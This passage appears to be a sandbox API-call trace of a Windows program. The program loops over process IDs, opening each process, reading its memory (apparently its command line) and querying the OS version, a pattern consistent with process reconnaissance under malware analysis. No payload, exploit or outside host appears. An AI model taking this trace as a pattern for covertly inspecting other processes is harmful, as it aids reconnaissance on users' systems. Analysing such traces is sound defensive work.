(dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x614) returned 0x458 [0211.263] GetLastError () returned 0x0 [0211.263] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0211.263] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xe246cb3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0211.263] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0211.263] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1eac3c11d30, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0211.264] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1eac3c11948, lpBuffer=0x670ffc3f0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0211.269] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0211.270] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0211.270] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xe246cb3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0211.270] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1eac3c11330, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0211.270] malloc (_Size=0x7e) returned 0x196ef0d31b0 [0211.270] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1eac3c119a8, lpBuffer=0x196ef0d31b0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0211.271] free (_Block=0x196ef0d31b0) [0211.272] CloseHandle (hObject=0x458) returned 1 [0211.273] _ui64tow_s (in: _Value=0xd80, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3456") returned 0x0 [0211.277] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3456") returned 4 [0211.279] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0211.279] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0211.528] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd80) returned 0x458 [0211.528] GetLastError () returned 0x0 [0211.529] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0211.529] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x334018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0211.529] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0211.529] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x461d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0211.530] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4618f8, lpBuffer=0x670ffc3f0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0211.531] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0211.535] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0211.535] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x334020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0211.535] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0211.535] malloc (_Size=0x8c) returned 0x196ef0d4e70 [0211.535] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x46197c, lpBuffer=0x196ef0d4e70, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0211.536] free (_Block=0x196ef0d4e70) [0211.537] CloseHandle (hObject=0x458) returned 1 [0211.537] _ui64tow_s (in: _Value=0xd88, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3464") returned 0x0 [0211.542] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3464") returned 4 [0211.543] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0211.543] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0211.560] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd88) returned 0x458 [0211.560] GetLastError () returned 0x0 [0211.560] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0211.560] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3f1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0211.561] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0211.561] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f1cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0211.561] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f18f8, lpBuffer=0x670ffc3f0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0211.962] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0211.963] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0211.964] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3f1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0211.964] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0211.964] malloc (_Size=0x68) returned 0x196ef0d0370 [0211.964] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f1958, lpBuffer=0x196ef0d0370, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0211.965] free (_Block=0x196ef0d0370) [0211.966] CloseHandle (hObject=0x458) returned 1 [0211.966] _ui64tow_s (in: _Value=0xd98, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3480") returned 0x0 [0211.971] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3480") returned 4 [0211.972] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0211.972] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0211.995] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd98) returned 0x458 [0211.995] GetLastError () returned 0x0 [0211.996] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0211.996] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2d1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0211.996] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0211.996] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xc1d30, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0211.996] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xc18f8, lpBuffer=0x670ffc3f0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0211.998] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0212.140] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0212.140] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2d1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0212.140] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xc12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0212.141] malloc (_Size=0x88) returned 0x196ef0d4e70 [0212.141] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xc1978, lpBuffer=0x196ef0d4e70, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0212.141] free (_Block=0x196ef0d4e70) [0212.142] CloseHandle (hObject=0x458) returned 1 [0212.143] _ui64tow_s (in: _Value=0xda0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3488") returned 0x0 [0212.148] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3488") returned 4 [0212.149] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0212.149] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0212.167] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xda0) returned 0x458 [0212.167] GetLastError () returned 0x0 [0212.169] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0212.169] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3c4018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0212.169] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0212.169] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x561d70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0212.169] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5618f8, lpBuffer=0x670ffc3f0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0212.170] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0212.172] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0212.172] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3c4020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0212.172] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0212.172] malloc (_Size=0x9e) returned 0x196ef0fad10 [0212.172] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x56198e, lpBuffer=0x196ef0fad10, nSize=0x9c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fad10*, lpNumberOfBytesRead=0x0) returned 1 [0212.173] free (_Block=0x196ef0fad10) [0212.174] CloseHandle (hObject=0x458) returned 1 [0212.174] _ui64tow_s (in: _Value=0xdb0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3504") returned 0x0 [0212.179] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3504") returned 4 [0212.180] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0212.180] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0212.246] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb0) returned 0x458 [0212.246] GetLastError () returned 0x0 [0212.247] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0212.247] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x336018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0212.247] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0212.247] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f1cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0212.247] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f18f8, lpBuffer=0x670ffc3f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0212.248] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0212.250] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0212.250] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x336020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0212.250] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0212.250] malloc (_Size=0x64) returned 0x196ef0d03e0 [0212.250] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f1954, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0212.251] free (_Block=0x196ef0d03e0) [0212.252] CloseHandle (hObject=0x458) returned 1 [0212.252] _ui64tow_s (in: _Value=0xdb8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3512") returned 0x0 [0212.257] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3512") returned 4 [0212.258] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0212.258] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0212.344] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb8) returned 0x458 [0212.344] GetLastError () returned 0x0 [0212.345] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0212.345] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x363018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0212.345] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0212.345] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x581d30, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0212.345] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5818f8, lpBuffer=0x670ffc3f0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0212.347] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0212.348] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0212.348] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x363020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0212.348] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5812e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0212.348] malloc (_Size=0x8a) returned 0x196ef0d4e70 [0212.348] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x58197a, lpBuffer=0x196ef0d4e70, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0212.349] free (_Block=0x196ef0d4e70) [0212.350] CloseHandle (hObject=0x458) returned 1 [0212.350] _ui64tow_s (in: _Value=0xdc8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3528") returned 0x0 [0212.355] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3528") returned 4 [0212.356] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0212.356] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0212.473] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdc8) returned 0x458 [0212.473] GetLastError () returned 0x0 [0212.474] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0212.474] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x255018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0212.474] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0212.474] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0212.474] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c18f8, lpBuffer=0x670ffc3f0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0212.475] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0212.477] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0212.477] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x255020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0212.477] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0212.477] malloc (_Size=0x76) returned 0x196ef0d2120 [0212.478] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1c1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0212.478] free (_Block=0x196ef0d2120) [0212.479] CloseHandle (hObject=0x458) returned 1 [0212.480] _ui64tow_s (in: _Value=0xdd0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3536") returned 0x0 [0212.488] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3536") returned 4 [0212.490] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, 